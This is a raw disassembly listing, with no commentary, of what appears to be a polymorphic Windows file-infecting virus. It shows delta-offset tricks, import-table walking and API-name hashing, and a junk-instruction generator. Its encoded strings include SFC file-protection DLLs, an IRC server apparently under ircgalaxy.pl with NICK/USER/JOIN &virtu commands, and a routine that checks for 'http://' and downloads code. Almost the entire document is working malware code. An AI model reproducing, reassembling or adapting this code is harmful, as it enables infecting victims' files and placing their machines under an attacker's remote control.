

loc_4329C9:				; CODE XREF: sub_4325AF+3AAj
		js	short loc_432A0C


loc_4329CB:				; CODE XREF: sub_4325AF:loc_432965j
		add	[esi+33h], dl


loc_4329CE:				; CODE XREF: sub_4325AF+3CBj
		imul	byte ptr [edx+2]
		push	esi
		push	esi


loc_4329D3:				; CODE XREF: sub_4325AF+3BDj
		mov	edx, esp
		push	1


loc_4329D7:				; CODE XREF: sub_4325AF+3B8j
		push	edx
		push	dword ptr [edx+18h]
		push	esi


loc_4329DC:				; CODE XREF: sub_4325AF+3C7j
					; sub_4325AF+3C1j
		call	dword ptr [ebp+10428Ch]
		mov	eax, esp
		push	esi
		push	esi
		push	esi
		push	eax


loc_4329E8:				; CODE XREF: sub_4325AF+3C9j
		push	esi
		push	dword ptr [eax+18h]


loc_4329EC:				; CODE XREF: sub_4325AF+3FAj
					; sub_4325AF+3F7j
		call	dword ptr [ebp+103EFAh]
		add	esp, 10h
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_4325AF
; ---------------------------------------------------------------------------
		db  8Dh	; 
		db  49h	; I
		db 0FBh	; û
		db  2Bh	; +
; ---------------------------------------------------------------------------


loc_4329FD:				; CODE XREF: sub_4325AF:loc_4329BAj
					; sub_4325AF:loc_432998j
		enter	6851h, 0
; ---------------------------------------------------------------------------
		db    0
		db    0
		db 0E8h	; è
		db  8Dh	; 
		db  4Ch	; L
		db  24h	; $
		db    3
		db  6Ah	; j
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4325AF


loc_432A09:				; CODE XREF: sub_4325AF+3F3j
		add	[edx+5], ch


loc_432A0C:				; CODE XREF: sub_4325AF:loc_4329C9j
		push	ecx
		push	eax
		push	ebx
		push	5
		mov	ecx, esp
		push	eax
		mov	edx, esp
		push	eax


loc_432A17:				; CODE XREF: sub_4325AF+401j
		push	esp
		push	40h


loc_432A1A:				; CODE XREF: sub_4325AF+412j
		push	ecx
		push	edx
		push	ebx


loc_432A1D:				; CODE XREF: sub_4325AF+408j
		call	dword ptr [ebp+103F22h]
		add	esp, 0Ch
		call	dword ptr [ebp+103F2Ah]


loc_432A2C:				; CODE XREF: sub_4325AF:loc_4329B2j
					; sub_4325AF+417j
		add	esp, 8
		retn
; END OF FUNCTION CHUNK	FOR sub_4325AF
; ---------------------------------------------------------------------------
		db  8Dh	; 
		db  95h	; •
		db  30h	; 0
		db  3Eh	; >
		db  10h
		db    0
		db  33h	; 3
		db 0C9h	; É
		db  6Ah	; j
		db    0
		db  52h	; R
		db  68h	; h
		db  30h	; 0
		db    0
		db  32h	; 2
		db    0
		db  8Bh	; ‹
		db 0C4h	; Ä
		db  51h	; Q
		db  51h	; Q
		db  6Ah	; j
		db  40h	; @
		db  50h	; P
		db  51h	; Q
		db  6Ah	; j
		db  18h
		db  83h	; ƒ
		db 0C0h	; À
		db    8
		db  54h	; T
		db  6Ah	; j
		db  0Eh
		db  50h	; P
		db 0FFh
		db  95h	; •
		db  1Eh
		db  3Fh	; ?
		db  10h
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  20h
		db  33h	; 3
		db 0D2h	; Ò
		db  85h	; …
		db 0C0h	; À
		db  0Fh
		db  99h	; ™
		db 0C2h	; Â
		db 0F7h	; ÷
		db 0DAh	; Ú
		db  58h	; X
		db  23h	; #
		db 0C2h	; Â
		db 0C3h	; Ã
		db  57h	; W
		db  33h	; 3
		db 0FFh
		db 0E8h	; è
		db 0C1h	; Á
		db 0FFh
		db 0FFh
		db 0FFh
		db  0Fh
		db  84h	; „
		db 0A5h	; ¥
		db    0
		db    0
		db    0
		db  50h	; P
		db  68h	; h
		db  28h	; (
		db  73h	; s
		db    0
		db    0
		db  8Bh	; ‹
		db 0D4h	; Ô
		db  6Ah	; j
		db    0
		db  8Bh	; ‹
		db 0CCh	; Ì
		db  6Ah	; j
		db  40h	; @
		db  68h	; h
		db    0
		db    0
		db  10h
		db    0
		db  6Ah	; j
		db    2
		db  52h	; R
		db  6Ah	; j
		db    0
		db  68h	; h
		db  28h	; (
		db  73h	; s
		db    0
		db    0
		db  6Ah	; j
		db    0
		db  51h	; Q
		db  53h	; S
		db  50h	; P
		db 0FFh
		db  95h	; •
		db  12h
		db  3Fh	; ?
		db  10h
		db    0
		db  5Fh	; _
		db  59h	; Y
		db 0FFh
		db  95h	; •
		db  62h	; b
		db  3Eh	; >
		db  10h
		db    0
		db  85h	; …
		db 0FFh
		db  74h	; t
		db  71h	; q
		db  8Bh	; ‹
		db  8Dh	; 
		db  90h	; 
		db  15h
		db  10h
		db    0
		db 0E3h	; ã
		db  0Ch
		db  8Dh	; 
		db  95h	; •
		db    0
		db  10h
		db  10h
		db    0
		db    3
		db 0D1h	; Ñ
		db  57h	; W
		db  53h	; S
		db 0FFh
		db 0D2h	; Ò
		db  8Bh	; ‹
		db  85h	; …
		db 0FEh	; þ
		db  3Eh	; >
		db  10h
		db    0
		db  8Dh	; 
		db  8Fh	; 
		db  16h
		db  29h	; )
		db    0
		db    0
		db 0E8h	; è
		db  2Bh	; +
		db 0FFh
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db  85h	; …
		db  16h
		db  3Fh	; ?
		db  10h
		db    0
		db  8Dh	; 
		db  8Fh	; 
		db  63h	; c
		db  29h	; )
		db    0
		db    0
		db 0E8h	; è
		db  1Ah
		db 0FFh
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db  85h	; …
		db    2
		db  3Fh	; ?
		db  10h
		db    0
		db  8Dh	; 
		db  8Fh	; 
		db  6Ah	; j
		db  29h	; )
		db    0
		db    0
		db 0E8h	; è
		db    9
		db 0FFh
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db  85h	; …
		db    6
		db  3Fh	; ?
		db  10h
		db    0
		db  85h	; …
		db 0C0h	; À
		db  74h	; t
		db  20h
		db  8Dh	; 
		db  8Fh	; 
		db  77h	; w
		db  29h	; )
		db    0
		db    0
		db 0E8h	; è
		db 0F4h	; ô
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db  85h	; …
		db  0Eh
		db  3Fh	; ?
		db  10h
		db    0
		db  85h	; …
		db 0C0h	; À
		db  74h	; t
		db  0Bh
		db  8Dh	; 
		db  8Fh	; 
		db  84h	; „
		db  29h	; )
		db    0
		db    0
		db 0E8h	; è
		db 0DFh	; ß
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  8Bh	; ‹
		db 0C7h	; Ç
		db  5Fh	; _
		db 0C3h	; Ã
		db  55h	; U
		db 0E8h	; è
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 101B24h
		xor	ecx, ecx
		lea	eax, [ebp+101EAFh]
		push	ecx
		push	esp
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr [ebp+103E8Eh]
		xchg	eax, [esp]
		call	dword ptr [ebp+103E62h]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 55h,	0E8h, 0
		dd 5D000000h, 1B53ED81h, 0FF6A0010h, 1B1E958Dh,	52500010h
		dd 2420CDh, 0C483002Ah,	85C7660Ch, 101B64h, 85C720CDh
		dd 101B66h, 2A0024h, 1A6AC35Dh,	9E858h,	428D0000h, 0C9FEAA61h
		dd 69C3F075h, 103F7C95h, 8840500h, 95894208h, 103F7Ch
		dd 55C3E2F7h, 0E8h, 0ED815D00h,	101BADh, 3F809D8Bh, 7C830010h
		dd 0F000824h, 0B984h, 8EC8100h,	54000002h, 10468h, 0B695FF00h
		dd 8B00103Eh, 24848DFCh, 104h, 0E8006A50h, 4, 525256h
		dd 0B295FF57h, 3300103Eh, 4978DC9h, 51000001h, 51026A51h
		dd 68016Ah, 52400000h, 3E7E95FFh, 85960010h, 505B74F6h
		dd 1046854h, 0FF570000h, 22024B4h, 95FF0000h, 103F5Eh
		dd 74C08559h, 5014E316h, 6AD48Bh, 56575152h, 3EF695FFh
		dd 85590010h, 56D075C0h, 3E6295FFh, 578D0010h, 6A575244h
		dd 978D5844h, 104h, 6AC033ABh, 0ABF35910h, 50505050h, 52505050h
		dd 3E8695FFh, 0C4810010h, 208h,	82474FFh, 3F4E95FFh, 0FF530010h
		dd 103F4E95h, 4C25D00h,	0A3E8000h, 8B460175h, 10158C8Dh
		dd 8D19E300h, 10100095h, 56D10300h, 0C084D2FFh,	11F880Fh
		dd 840F0000h, 110h, 753A3E80h, 3E804610h, 1840F00h, 80000001h
		dd 0F175203Eh, 503E8146h, 75474E49h, 0C6CF8B42h, 2B4F0146h
		dd 6A51CEh, 0FF535651h,	103F4695h, 0C13B5900h, 0DF850Fh
		dd 858D0000h, 101EA3h, 0C68006Ah, 50000000h, 4695FF53h
		dd 3D00103Fh, 0Ch, 0BF850Fh, 0B1E90000h, 81000000h, 4952503Eh
		dd 0A5850F56h, 83000000h, 3CAC08C6h, 99840F0Dh,	3C000000h
		dd 0ACF37520h, 850F3A3Ch, 8Ch, 20200DADh, 213D2020h, 75746567h
		dd 203CAC7Fh, 7E817C75h, 746820FFh, 81717574h, 3A70037Eh
		dd 68752F2Fh, 0FF47C6h,	10BA310Fh, 0F7000027h, 95FF52E2h
		dd 103EE6h, 5050C033h, 9E85050h, 44000000h, 6C6E776Fh
		dd 64616Fh, 3F5695FFh, 0C0850010h, 0C9333674h, 3F808589h
		dd 68510010h, 80000200h, 50565151h, 3F5A95FFh, 958D0010h
		dd 101BA7h, 54C93350h, 51525051h, 8E95FF51h, 8700103Eh
		dd 95FF2404h, 103E62h, 8D80C3F8h, 10157Fh, 6AC3F901h, 0FF016A01h
		dd 473FF33h, 0C08515FFh, 0DB335A74h, 0BB3D08Bh,	8D3C5003h
		dd 101DCBB5h, 0CBA8B00h, 8B000001h, 1088Ah, 2BF80300h
		dd 0CB8B60CBh, 7461A6F3h, 0F5E24705h, 0C7832EEBh, 0CC8B530Fh
		dd 50D48B57h, 51406A54h, 0FFFF6A52h, 103F2295h,	968D8B00h
		dd 8300103Eh, 0CF2B0CC4h, 0C707E983h, 0E8006A07h, 34F8900h
		dd 464F53C3h, 52415754h, 694D5C45h, 736F7263h, 5C74666Fh
		dd 646E6957h, 5C73776Fh, 72727543h, 56746E65h, 69737265h
		dd 455C6E6Fh, 6F6C7078h, 726572h, 67726154h, 6F487465h
		dd 2007473h, 55500000h,	70D08F72h, 69786F72h, 72692E6Dh
		dd 6C616763h, 2E797861h, 4E006C70h, 204B4349h, 73736D62h
		dd 74706F70h, 4553550Ah, 4A712052h, 204E494Fh, 72697626h
		dd 550A7574h, 0E8h, 0ED815D00h,	101EB5h, 157F85C6h, 0FF000010h
		dd 103EBA95h, 1FE8C100h, 1E6A3C74h, 3E72B58Bh, 0AC590010h
		dd 2A752E3Ch, 0FF3E8166h, 8D23751Dh, 103F76BDh,	2768B00h
		dd 0A566A557h, 38EC858Dh, 858F0010h, 103912h, 0FA4689FAh
		dd 0FBFE4E8Ch, 0CFE201B1h, 21E850EBh, 83FFFFFBh, 408247Ch
		dd 8E84475h, 53000000h,	442E4346h, 0FF004C4Ch, 103EC695h
		dd 74C00B00h, 26A930Dh,	6E95FF53h, 0FF00103Eh, 97E893D0h
		dd 0E8FFFFFEh, 0Bh, 5F434653h, 442E534Fh, 0FF004C4Ch, 103EC695h
		dd 0FE7CE800h, 0E8FFFFh, 0FFFFFFF6h, 1012D48Dh,	8DC93300h
		dd 10432485h, 51515100h, 51515051h, 0C295FF51h,	0E800103Eh
		dd 0Bh,	52455355h, 442E3233h, 0FF004C4Ch, 103EC695h, 0AE800h
		dd 73770000h, 6E697270h, 416674h, 6E95FF50h, 8900103Eh
		dd 103E7685h, 8D310F00h, 1019858Dh, 7C858900h, 5100103Fh
		dd 3EC695FFh, 68930010h, 4, 1992B58Dh, 8D590010h, 103F62BDh
		dd 0F5C2E800h, 0C766FFFFh, 101E7585h, 83500000h, 101E77A5h
		dd 958D0000h, 101E35h, 16A5450h, 6852006Ah, 80000002h
		dd 3F6695FFh, 0C0850010h, 8D22755Ah, 101E688Dh,	66A5200h
		dd 1E75B58Dh, 56540010h, 52515050h, 3F6A95FFh, 0FF580010h
		dd 103F6295h, 8385C600h, 1041h,	0CE8h, 4F535700h, 32334B43h
		dd 4C4C442Eh, 0C695FF00h, 9300103Eh, 768h, 0E9B58D00h
		dd 59001018h, 3F32BD8Dh, 3DE80010h, 0E8FFFFF5h,	0Ch, 494E4957h
		dd 2E54454Eh, 4C4C44h, 3EC695FFh, 0C0850010h, 235840Fh
		dd 68930000h, 5, 1927B58Dh, 8D590010h, 103F4EBDh, 0F506E800h
		dd 0BD83FFFFh, 103F52h,	10840F00h, 81000002h, 190ECh, 1685400h
		dd 0FF000001h, 103F3295h, 90C48100h, 50000001h,	6AD48Bh
		dd 5295FF52h, 8500103Fh, 0D7559C0h, 138868h, 0E695FF00h
		dd 0EB00103Eh, 77BD83E2h, 101Eh, 858D2975h, 101E7Bh, 3E95FF50h
		dd 8500103Fh, 89840FC0h, 8B000001h, 8B0C40h, 858F30FFh
		dd 101E77h, 418385C6h, 6A010010h, 6A016A00h, 4A95FF02h
		dd 8300103Fh, 840FFFF8h, 160h, 73958D93h, 6A00101Eh, 0FF535210h
		dd 103F3A95h, 0FC08500h, 14085h, 94BD8D00h, 0B100101Eh
		dd 0FA3CE808h, 9468FFFFh, 5E000000h, 3489E62Bh,	95FF5424h
		dd 103EBEh, 1EA2BD8Dh, 1B10010h, 0FFFA1DE8h, 8F958DFFh
		dd 6A00101Eh, 146800h, 53520000h, 3F4695FFh, 448D0010h
		dd 958D1424h, 104324h, 0AB60F50h, 1424448Bh, 208E0C1h
		dd 4A12014Ah, 34A1202h,	824440Bh, 0C10FE180h, 0B5108E0h
		dd 0FF102444h, 0BD8D5032h, 103F84h, 1CE8h, 362E2500h, 202E2078h
		dd 253A202Eh, 382E2525h, 20782578h, 4A0A7325h, 204E494Fh
		dd 95FF5700h, 103E76h, 0ACC481h, 6A0000h, 0FF535750h, 103F4695h
		dd 988D8B00h, 6A001015h, 6B1BE300h, 0E8510DC9h,	5, 0A642526h
		dd 95FF5700h, 103E76h, 500CC483h, 7680BEBh, 8D000000h
		dd 101EA8BDh, 0FF535700h, 103F4695h, 7EC08500h,	84B58D54h
		dd 8300103Fh, 101598A5h, 8D8D0000h, 104183h, 6ACE2Bh, 0FF535651h
		dd 103F4295h, 0F88300h,	8B912F7Eh, 84B58DFEh, 0B000103Fh
		dd 75AEF20Dh, 2AE86010h, 61FFFFFAh, 9E31772h, 0EB01778Dh
		dd 2BCF8BEAh, 84BD8DCEh, 0F300103Fh, 0EBF787A4h, 95FF53B9h
		dd 103F36h, 157FBD80h, 74010010h, 7530682Ah, 95FF0000h
		dd 103EE6h, 4183BD80h, 74000010h, 7785C711h, 101Eh, 0C6000000h
		dd 10418385h, 8E90000h,	0C7FFFFFEh, 10158885h, 0
		dd 4C25D80h, 4F0A0D00h,	6F6F6E20h, 666F206Eh, 66696C20h
		dd 4F202165h, 6D697420h, 6F742065h, 6C656320h, 61726265h
		dd 0D216574h, 2020200Ah, 204F2020h, 6D6D7573h, 67207265h
		dd 65647261h, 0A0D216Eh, 656C6552h, 656C746Eh, 796C7373h
		dd 70616820h, 61207970h, 6520646Eh, 63657078h, 746E6174h
		dd 7473202Ch, 69646E61h, 203A676Eh, 570A0D2Dh, 68637461h
		dd 20676E69h, 206C6C61h, 20796164h, 20646E61h, 6867696Eh
		dd 66202C74h, 6620726Fh, 6E656972h, 49207364h, 69617720h
		dd 0A0D3A74h, 72656857h, 72612065h, 6F792065h, 66202C75h
		dd 6E656972h, 203F7364h, 656D6F43h, 74492021h, 20736920h
		dd 656D6974h, 74492021h, 6C207327h, 21657461h, 4CA2A1A8h
		dd 7F95D1CAh, 10A61429h, 3AAB5957h, 27B1FAE5h, 10A61413h
		dd 38D82DBDh, 19h dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_433414	proc near		; CODE XREF: sub_4334CA:loc_4334B8p
					; sub_43351B+7p ...

arg_0		= dword	ptr  4

		pusha
		and	dword ptr [ebp+1042F4h], 0
		and	dword ptr [ebp+1042F8h], 0
		movzx	eax, word ptr [ebx+14h]
		lea	edx, [ebx+18h]
		movzx	ecx, word ptr [ebx+6]
		add	edx, eax


loc_433430:				; CODE XREF: sub_433414+41j
		mov	eax, [esp+20h+arg_0]
		sub	eax, [edx+0Ch]
		jb	short loc_433452
		cmp	eax, [edx+8]
		jnb	short loc_433452
		mov	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	[ebp+1042F4h], edx
		mov	[ebp+1042F8h], eax
		jmp	short loc_433457
; ---------------------------------------------------------------------------


loc_433452:				; CODE XREF: sub_433414+23j
					; sub_433414+28j
		add	edx, 28h
		loop	loc_433430


loc_433457:				; CODE XREF: sub_433414+3Cj
		popa
		retn	4
sub_433414	endp

; ---------------------------------------------------------------------------
		mov	[ebp+102467h], al
		call	sub_4334CA
		push	20h
		lea	eax, [ebp+102394h]
		pop	ecx


loc_433472:				; CODE XREF: .rsrc:00433479j
		cmp	[eax], ebx
		jz	short loc_433482
		add	eax, 4
		loop	loc_433472
		inc	dword ptr [ebp+1042D0h]
		retn
; ---------------------------------------------------------------------------


loc_433482:				; CODE XREF: .rsrc:00433474j
		neg	ecx
		add	ecx, [ebp+102467h]
		jecxz	short loc_43349C


loc_43348C:				; CODE XREF: .rsrc:00433494j
		push	dword ptr [eax-4]
		pop	dword ptr [eax]
		sub	eax, 4
		loop	loc_43348C
		mov	[ebp+102394h], ebx
; START	OF FUNCTION CHUNK FOR sub_4334CA


loc_43349C:				; CODE XREF: .rsrc:0043348Aj
					; sub_4334CA+34j
		cmp	dword ptr [edx], 0
		jz	short loc_4334A6
		sub	esi, [edx]
		add	esi, [edx+10h]


loc_4334A6:				; CODE XREF: sub_4334CA-2Bj
		lea	ecx, [esi-4]
		pop	eax
		pop	ebx
		pop	esi
		cmp	dword ptr [edx], 0
		jz	short loc_4334B5
		push	dword ptr [edx]
		jmp	short loc_4334B8
; ---------------------------------------------------------------------------


loc_4334B5:				; CODE XREF: sub_4334CA-1Bj
		push	dword ptr [edx+10h]


loc_4334B8:				; CODE XREF: sub_4334CA-17j
		call	sub_433414
		sub	ecx, esi
		sub	ecx, [ebp+1042F8h]
		pop	eax
		add	ecx, [ebx+34h]
		retn
; END OF FUNCTION CHUNK	FOR sub_4334CA

; =============== S U B	R O U T	I N E =======================================



sub_4334CA	proc near		; CODE XREF: .rsrc:00433461p

; FUNCTION CHUNK AT 0043349C SIZE 0000002E BYTES

		pop	dword ptr [ebp+1042D4h]
		mov	dword ptr [ebp+1042D0h], 0
		call	sub_43351B
		mov	eax, [ebp+1042D0h]
		call	near ptr dword_432B50+43h
		call	sub_433507
		cmp	dword ptr [ebp+1042D0h], 0
		jnz	short loc_433500
		mov	[ebp+102410h], ebx
		jmp	short loc_43349C
; ---------------------------------------------------------------------------


loc_433500:				; CODE XREF: sub_4334CA+2Cj
		dec	dword ptr [ebp+1042D0h]
		retn
sub_4334CA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_433507	proc near		; CODE XREF: sub_4334CA+20p
		pop	dword ptr [ebp+1042D4h]
		mov	[ebp+1042D0h], edx
		call	sub_43351B
		xor	ecx, ecx
		retn
sub_433507	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43351B	proc near		; CODE XREF: sub_4334CA+10p
					; sub_433507+Cp ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	edx, [ebx+80h]
		push	edx
		call	sub_433414
		add	edx, [ebp+1042F8h]
		add	edx, esi


loc_43352F:				; CODE XREF: sub_43351B+120j
		cmp	dword ptr [edx+0Ch], 0
		jz	locret_433640
		cmp	dword ptr [edx+10h], 0
		jz	locret_433640
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_433414
		add	eax, [ebp+1042F8h]
		add	eax, esi
		push	eax


loc_433555:				; CODE XREF: sub_43351B+47j
		mov	cl, [eax]
		cmp	cl, 0
		jz	short loc_433575
		cmp	cl, 2Eh
		jz	short loc_433564


loc_433561:				; CODE XREF: sub_43351B+58j
		inc	eax
		jmp	short loc_433555
; ---------------------------------------------------------------------------


loc_433564:				; CODE XREF: sub_43351B+44j
		mov	ecx, [eax+1]
		and	ecx, 0DFDFDFDFh
		cmp	ecx, 4C4C44h
		jnz	short loc_433561


loc_433575:				; CODE XREF: sub_43351B+3Fj
		pop	ecx
		sub	ecx, eax
		cmp	ecx, 0FFFFFFFAh
		jg	loc_433638
		cmp	word ptr [eax-2], 3233h
		jnz	loc_433638
		push	esi
		cmp	dword ptr [edx], 0
		jnz	short loc_433598
		mov	ecx, [edx+10h]
		jmp	short loc_43359A
; ---------------------------------------------------------------------------


loc_433598:				; CODE XREF: sub_43351B+76j
		mov	ecx, [edx]


loc_43359A:				; CODE XREF: sub_43351B+7Bj
		add	esi, ecx
		push	ecx
		call	sub_433414
		add	esi, [ebp+1042F8h]


loc_4335A8:				; CODE XREF: sub_43351B+90j
					; sub_43351B+117j
		lodsd
		test	eax, eax
		js	short loc_4335A8
		jz	loc_433637
		push	dword ptr [ebp+1042F8h]
		push	eax
		call	sub_433414
		add	eax, [ebp+1042F8h]
		pop	dword ptr [ebp+1042F8h]
		add	eax, [esp+4+var_4]
		push	ebx
		add	eax, 2
		xor	ebx, ebx


loc_4335D4:				; CODE XREF: sub_43351B+CEj
		movzx	ecx, byte ptr [eax]
		jecxz	short loc_4335EB
		or	cl, 20h
		push	ebx
		shl	[esp+0Ch+var_C], 4
		sub	[esp+0Ch+var_C], ebx
		sub	[esp+0Ch+var_C], ecx
		pop	ebx
		inc	eax
		jmp	short loc_4335D4
; ---------------------------------------------------------------------------


loc_4335EB:				; CODE XREF: sub_43351B+BCj
		cmp	ebx, 0DDBBD70Fh
		jz	short loc_433631
		cmp	ebx, 0DB6E45A8h
		jz	short loc_433631
		cmp	ebx, 0FFA13B59h
		jz	short loc_433631
		cmp	ebx, 0ACB522D6h
		jz	short loc_433631
		cmp	ebx, 0F358E993h
		jz	short loc_433631
		cmp	ebx, 0F358E97Dh
		jz	short loc_433631
		cmp	ebx, 0E1253F46h
		jz	short loc_433631
		cmp	ebx, 0E1253F30h
		jz	short loc_433631
		call	dword ptr [ebp+1042D4h]


loc_433631:				; CODE XREF: sub_43351B+D6j
					; sub_43351B+DEj ...
		pop	ebx
		jmp	loc_4335A8
; ---------------------------------------------------------------------------


loc_433637:				; CODE XREF: sub_43351B+92j
		pop	esi


loc_433638:				; CODE XREF: sub_43351B+60j
					; sub_43351B+6Cj
		add	edx, 14h
		jmp	loc_43352F
; ---------------------------------------------------------------------------

locret_433640:				; CODE XREF: sub_43351B+18j
					; sub_43351B+22j
		retn
sub_43351B	endp

; ---------------------------------------------------------------------------
		db 3, 6Ah, 4
		dd 0F549E858h, 9588FFFFh, 102641h, 1831B866h, 0E4C0E202h
		dd 66E20203h, 58066AABh, 0FFF52EE8h, 8C283FFh, 56AD187h
		dd 0F521E858h, 0FA80FFFFh, 0B00B7303h, 41850250h, 0AA001026h
		dd 686A27EBh, 0FA80AA58h, 0B0187503h, 0F501E811h, 1B8FFFFh
		dd 84000000h, 0D10D74D2h, 0EBCAFEE0h, 0B805EBF6h, 80000000h
		dd 0C3BFE2ABh, 39CC958Dh, 0D72B0010h, 0F7C3DAF7h, 1039C085h
		dd 0
; ---------------------------------------------------------------------------
		adc	[edi], cl
		xchg	eax, ebp
		rol	cl, 0E0h
		or	esi, esi
		test	[esi+1001039h],	edi
		jnz	short loc_4336D6
		or	ax, 2589h
		jmp	short loc_4336E9
; ---------------------------------------------------------------------------


loc_4336D6:				; CODE XREF: .rsrc:004336CEj
		test	byte ptr [ebp+1039BEh],	2
		jnz	short loc_4336E5
		or	ax, 2531h
		jmp	short loc_4336E9
; ---------------------------------------------------------------------------


loc_4336E5:				; CODE XREF: .rsrc:004336DDj
		or	ax, 2501h


loc_4336E9:				; CODE XREF: .rsrc:004336D4j
					; .rsrc:004336E3j
		stosw
		call	near ptr dword_433644+68h
		mov	eax, [ebx+34h]
		mov	[ebp+1042E8h], edx
		stosd
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4336FB	proc near		; CODE XREF: .rsrc:00433D47p
		test	dword ptr [ebp+1039C0h], 10000000h
		setnz	al
		add	al, 0BCh
		stosb
		call	near ptr dword_433644+68h
		mov	[ebp+1042ECh], edx
		test	byte ptr [ebp+1039BEh],	1
		jnz	short loc_433723
		rdtsc
		jmp	short loc_433725
; ---------------------------------------------------------------------------


loc_433723:				; CODE XREF: sub_4336FB+22j
		sub	eax, eax


loc_433725:				; CODE XREF: sub_4336FB+26j
		stosd
		retn
sub_4336FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_433727	proc near		; CODE XREF: .rsrc:loc_433D51p
		test	dword ptr [ebp+1039C0h], 10000000h
		jz	short loc_43375A
		mov	al, [ebp+1039BAh]
		shl	eax, 0Bh
		or	ax, 458Bh
		stosw
		mov	al, 0F8h
		stosb
		mov	al, [ebp+1039BAh]
		shl	eax, 1Bh
		add	eax, 6896467h
		stosd
		xor	eax, eax
		stosw
		jmp	short locret_43376C
; ---------------------------------------------------------------------------


loc_43375A:				; CODE XREF: sub_433727+Aj
		mov	eax, 58F64h
		stosd
		mov	al, [ebp+1039BAh]
		add	al, 58h
		shl	eax, 18h
		stosd

locret_43376C:				; CODE XREF: sub_433727+31j
		retn
sub_433727	endp


; =============== S U B	R O U T	I N E =======================================



sub_43376D	proc near		; CODE XREF: sub_4337DF:loc_433806p
					; sub_4337DF+4Cp ...
		mov	byte ptr [ebp+10279Ch],	9
		jmp	short loc_43379B
; ---------------------------------------------------------------------------


loc_433776:				; CODE XREF: sub_43376D+44j
		mov	al, 0FCh
		jmp	short loc_43379A
; ---------------------------------------------------------------------------


loc_43377A:				; CODE XREF: sub_43376D+48j
		mov	ax, 0EBh
		stosw
		jmp	short loc_43379B
; ---------------------------------------------------------------------------


loc_433782:				; CODE XREF: sub_43376D+4Cj
		push	4
		pop	eax
		call	near ptr dword_432B50+43h
		lea	eax, [edx+edx*8]
		shl	eax, 8
		add	ax, 0C089h
		stosw
		jmp	short loc_43379B
; ---------------------------------------------------------------------------


loc_433798:				; CODE XREF: sub_43376D+50j
		mov	al, 90h


loc_43379A:				; CODE XREF: sub_43376D+Bj
					; sub_43376D+60j ...
		stosb


loc_43379B:				; CODE XREF: sub_43376D+7j
					; sub_43376D+13j ...
		push	15h
		pop	eax
		call	near ptr dword_432B50+43h
		add	byte ptr [ebp+10279Ch],	6
		cmp	dl, 8
		jnb	short locret_4337DE
		test	dl, dl
		jz	short loc_433776
		dec	dl
		jz	short loc_43377A
		dec	dl
		jz	short loc_433782
		dec	dl
		jz	short loc_433798
		dec	dl
		jz	short loc_4337CF
		dec	dl
		jz	short loc_4337D6
		dec	dl
		jz	short loc_4337DA
		mov	al, 0F9h
		jmp	short loc_43379A
; ---------------------------------------------------------------------------


loc_4337CF:				; CODE XREF: sub_43376D+54j
		mov	al, 87h
		stosb
		mov	al, 0DBh
		jmp	short loc_43379A
; ---------------------------------------------------------------------------


loc_4337D6:				; CODE XREF: sub_43376D+58j
		mov	al, 0F5h
		jmp	short loc_43379A
; ---------------------------------------------------------------------------


loc_4337DA:				; CODE XREF: sub_43376D+5Cj
		mov	al, 0F8h
		jmp	short loc_43379A
; ---------------------------------------------------------------------------

locret_4337DE:				; CODE XREF: sub_43376D+40j
		retn
sub_43376D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4337DF	proc near		; CODE XREF: .rsrc:loc_433C28p
					; .rsrc:00433DDBp
		test	dword ptr [ebp+1039C0h], 2000h
		mov	al, 86h
		jnz	short loc_4337EF
		add	al, 4


loc_4337EF:				; CODE XREF: sub_4337DF+Cj
		lea	ecx, [edi-2]
		mov	ah, [ebp+1039B8h]
		stosw
		cmp	ah, 5
		jnz	short loc_433806
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_433806:				; CODE XREF: sub_4337DF+1Ej
		call	sub_43376D
		test	dword ptr [ebp+1039C0h], 4000h
		mov	ax, 3166h
		jnz	short loc_43381D
		mov	ah, 29h


loc_43381D:				; CODE XREF: sub_4337DF+3Aj
		stosw
		mov	al, 18h
		or	al, [ebp+1039BAh]
		shl	al, 3
		stosb
		call	sub_43376D
		mov	al, 88h
		test	dword ptr [ebp+1039C0h], 8000h
		jnz	short loc_433840
		mov	al, 86h


loc_433840:				; CODE XREF: sub_4337DF+5Dj
		mov	ah, [ebp+1039B8h]
		stosw
		cmp	ah, 5
		jnz	short locret_433854
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb

locret_433854:				; CODE XREF: sub_4337DF+6Cj
		retn
sub_4337DF	endp

; ---------------------------------------------------------------------------


loc_433855:				; CODE XREF: sub_43445B+183p
		lea	edi, [ebp+1039CCh]
		call	sub_43376D
		test	dword ptr [ebp+1039C0h], 400000h
		jz	short near ptr unk_43386F
		mov	al, 60h
		stosb
; ---------------------------------------------------------------------------
unk_43386F	db 0F7h	; ÷		; CODE XREF: .rsrc:0043386Aj
		db  85h	; …
		db 0C0h	; À
		db  39h	; 9
		db  10h
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
		adc	[edi+eax-48h], dh
		push	ebp
		mov	ebp, esp
		add	[ebx-3F7A08B1h], ch
		cmp	[eax], edx
		add	[ebx], al
; ---------------------------------------------------------------------------
		db 2 dup(0), 2
		dd 0F0840Fh, 0E8B00000h, 0BD89ABAAh, 1042D8h, 0FFFECCE8h
		dd 0AAE8B0FFh, 0DCBD89ABh, 0E8001042h, 0FFFFFEBDh, 39C085F7h
